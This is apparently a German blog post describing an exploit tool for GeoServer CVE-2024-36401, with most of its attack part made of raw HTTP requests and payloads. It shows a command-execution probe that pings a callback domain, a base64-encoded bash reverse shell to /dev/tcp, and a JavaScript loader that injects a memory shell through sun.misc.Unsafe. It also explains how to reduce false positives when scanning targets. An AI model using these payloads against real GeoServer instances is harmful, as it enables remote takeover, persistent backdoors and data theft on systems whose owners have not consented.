
geoserver CVE-2024-36401 Exploit-Tool
GeoServer CVE-2024-36401 – Umgebung: JDK8 – Hinweis: Nur für autorisierte Tests. Der Autor übernimmt keine Haftung für Missbrauch durch Benutzer. Bitte halten Sie sich an die geltenden Gesetze!
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>
Hier ist Folgendes zu beachten: <wfs:Query typeNames='sf:archsites'/>
Wenn Sie einen regulären Ausdruck verwenden möchten, um diesen Teil zu extrahieren – dies ist eine grundlegende Kennung der Website sf:archsites – müssen Sie zunächst die Information <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> abrufen und können diese dann per String-Konkatenation zusammensetzen.
Bei der Schwachstellenerkennung:
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
Eigentlich muss man hier nicht einmal DNS-Logs prüfen.
Eine einfache Logik ist die Prüfung auf das Auftreten einer Ausnahmeklasse wie java.lang.ClassCastException.
Das ist natürlich nur eine Erkennungslogik.
Der Rückgabewert ist standardmäßig 400 – das ist eine häufige Fehlerfalle. Sie müssen nach der Fehlerseite in den Daten suchen.
Zuerst müssen Sie folgende Anfrage senden:
<wfs:ListStoredQueries service='WFS'
version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'/>
Diese Information gibt Ihnen die Möglichkeit, <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType> zu erhalten.
Weisen Sie den Text zu, rufen Sie dann eine Funktion/Methode auf, die den extrahierten Teil des Textes in den Parameter <wfs:Query typeNames='sf:archsites'/> einfügt.
Dadurch wird die Erkennungslogik relativ präzise. Für den Erkennungs-Code genügt dieser Ansatz.
Wenn Sie immer nur <wfs:Query typeNames='sf:archsites'/> verwenden, ist die Fehlerkennungsrate hoch, da der Fehler Could not locate {http://www.openplans.org/spearfish}archsites in catalog. ausgegeben wird.
Betrachten wir das Reverse-Shell-Payload:
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>
Beachten Sie hier:
<wfs:Query typeNames='sf:archsites'/>
Auch hier muss zuerst der Wert per Regex extrahiert und dann angehängt werden.
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx ist die Base64-kodierte Version von bash -i >& /dev/tcp/127.0.0.1/9999 0>&1.
Bei der Implementierung wandeln Sie den vom Benutzer eingegebenen Befehl bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 in Base64 um.
Senden Sie die Anfrage und prüfen Sie wieder auf die entscheidende Ausnahmeklasse – das genügt für die Erkennungslogik.
Hier:
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>
Auch hier gibt es <wfs:Query typeNames='sf:archsites'/> – wie gewohnt erst den Wert holen.
Setzen Sie bei str den von Ihnen generierten Base64-kodierten MemShell-Code ein.
Dann die Erkennungslogik anwenden.
Die wiederholte Verwendung von <wfs:Query typeNames='sf:archsites'/> führt zu 98 % Fehlalarmen. Fehlermeldung z. B.:
https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
<ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
<ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
Bei vorhandener Schwachstelle:
<ows:Exception exceptionCode="NoApplicableCode">
<ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &apos;bootstrap&apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
</ows:Exception>
Einfach ausgedrückt: Bei vorhandener Schwachstelle erscheint java.lang.ClassCastException.
Bei Fehlalarm: Could not locate {http://www.openplans.org/spearfish}archsites in catalog.
Erkennungsmethode:
<wfs:ReturnFeatureType>, weise ihn einem Text zu.So haben wir letztendlich dieses Exploit-Tool realisiert.

Testen wir die Schwachstelle.
Tool-Ausführungsergebnisse:


Hinweis: Keine Rückmeldung ist gleichbedeutend mit „keine Schwachstelle gefunden“; bei vorhandener Schwachstelle wird ein +-Zeichen angezeigt.